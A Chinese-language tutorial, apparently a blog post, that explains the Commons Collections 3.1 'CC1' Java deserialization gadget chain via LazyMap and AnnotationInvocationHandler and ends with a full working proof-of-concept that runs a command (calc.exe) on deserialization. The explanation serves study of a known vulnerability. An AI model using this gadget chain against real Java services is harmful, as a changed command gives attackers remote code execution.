测试环境
jdk1.7(jdk7u80)
Commons Collections3.1
预备知识简述
反射
每个类在第一次创建时会生成一个class实例,这个class实例保存着类的所有信息,可以通过:
public Field[] getFields();
//返回类的成员方法
public Method[] getMethods();
//返回类的构造方法
public Constructor<T> getConstructor(Class<?>... parameterTypes);
Class对象中存储类信息的内部静态类
有三种方式获取class实例student.getClass() ,Class.forname(“Strudent类路径”),Student.clsss。
代理
接口类 instance=(接口类)Proxy,newProxyInstance(实例.getclass().classloder(),实例.getClass().getInterfaces(实例实现的所有接口,new invocationHandler{})
JNDI
RMI命名服务
LADP目录服务。。。
利用链核心
这几行代码运行后会直接弹出计算器
Test.java:
public static void main(String[] args) {
Transformer transformers[]=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
Transformer transformChain= new ChainedTransformer(transformers);
transformChain.transform("ads");
}
使用到了这几个类
Constantransformer类:
Constantransformer类的构造方法会将输入的类绑定到类变量this.iConstat上,这个类的transform方法会接受一个input但是只会直接返回this.iConstant跟input没有关系
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
InvokerTransformer类
InvokerTransformer(要调用的方法,调用方法的形参,调用方法的实参)构造方法
private InvokerTransformer(String methodName) {
this.iMethodName = methodName;
this.iParamTypes = null;
this.iArgs = null;
}
transform方法会使用反射(getMethod(方法名,形参))获取方法并返回invoke(实参)调用后的结果,这里注意getMethon返回的是公有方法
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
ChainedTransformer类
ChainedTransformer会遍历Transforms数组中的元素并调用元素的transform方法
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
简单写一下Test.java代码执行过程
直接看Test.java最后两行tramsformchain.transform(“asd”),这两行代码把transforms赋值给iTransformers,然后调用了ChainedTransformer的transform函数,开始遍历transforms调用每个元素的transform()
Transformer transformChain= new ChainedTransformer(transformers);
transformChain.transform("ads");
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
第一次循环:第一个元素是ConstantTransformer(Runtime.class),”ads“这个字符串被传入他的transform方法,返回Runtime.class,object变量变为Runtime.class。
,第二次循环:第二个元素为 invokerTransformer(“getMethod”,…),调用它的transform函数并将Runtime.class传入会返回Runtime.class.getClass().getMethod(“getRuntime”,new Class[0])的调用结果,以上三个类都是实现了Serializable接口的,为了触发核心利用链需要有可以调用transform()的地方。
通过TransformedMap或LazyMap+AnnocationinvocationHandler可以达到在反序列化的时候触发transform()的效果,TransformedMap和LazyMap的构造方法都被protected修饰符修饰不能用new直接实例化,可以通过类内部的方法返回一个实例也可以用反射
Lazymap链
在lazyMap这个类的源码中可以看到一处transform()调用:
同样在源码中找一下this.factory这个变量是否可控,可以看出被public修饰的decorate方法是可以返回一个Lazymap实例的可以通过反射控制factory变量(lazyMap的构造方法使用protected修饰所以不太好利用构造方法控制factory变量),factory可控这样利用链就可以构造出来了。
寻找触发get()函数的触发点:
cc1链中Lazymap和transformedMap这两条利用链都是利用AnnotationinvocationHandler类来触发的,AnnotationinvocationHandler实现了invocationHandler接口使得它可以作为newProxyinstance的第三个函数,每次被代理类的函数被触发都会调用AnnotationinvocationHandler的invoke函数, invoke函数中有这么一段代码:
Object var6 = this.memberValues.get(var4);
this.MemberValues是AnnotationinvocationHandler实例化时传入的参数类型为map,所以可控,而AnnotationinvocationHandler的readObject函数中恰好调用了memberValuede的函数,所以可以通过反射将生成的代理类赋值给memberValues,在反序列化的过程中触发readobject函数执行到这行代码时
Iterator var4 = this.memberValues.entrySet().iterator();
触发invoke函数。
调试了一下,Var4获取的是Lazymap.decorate(map,chainedtransformer)时传入的map的迭代器,var5获取到map中的第一个元素,var6获取第一个元素的key。
传入Target.class是为了满足if判断使得我们反射赋值成功,Target.class只继承了Annotation
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
}
编写POC
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class lazyMapPoc {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
Transformer transformers[]=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
Transformer transformChain= new ChainedTransformer(transformers);
Map map =new HashMap();
// map会被传入到Lazymap父类中去在readObject中被获取迭代器
Map lazyMap= LazyMap.decorate(map,transformChain);
Class classInstance=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//反射调用
Constructor constructor=classInstance.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);//setAccessible(true)使得可以访问私有对象
InvocationHandler annotationInvocationHandler=(InvocationHandler) constructor.newInstance(Target.class,lazyMap);
// 生成代理类需要的InvocationHandler,传入Target.class使得符合annotationInvocationHandler构造函数中的if判断对this.type和this.memberVales赋值
Map proxyMap= (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),lazyMap.getClass().getInterfaces(),annotationInvocationHandler);
annotationInvocationHandler=(InvocationHandler) constructor.newInstance(Target.class,proxyMap);//nerInstance返回object需要强制类型转换一下
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream outputStream=new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(annotationInvocationHandler);
outputStream.close();
ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream inputStream=new ObjectInputStream(byteArrayInputStream);
Object object=inputStream.readObject();
}
}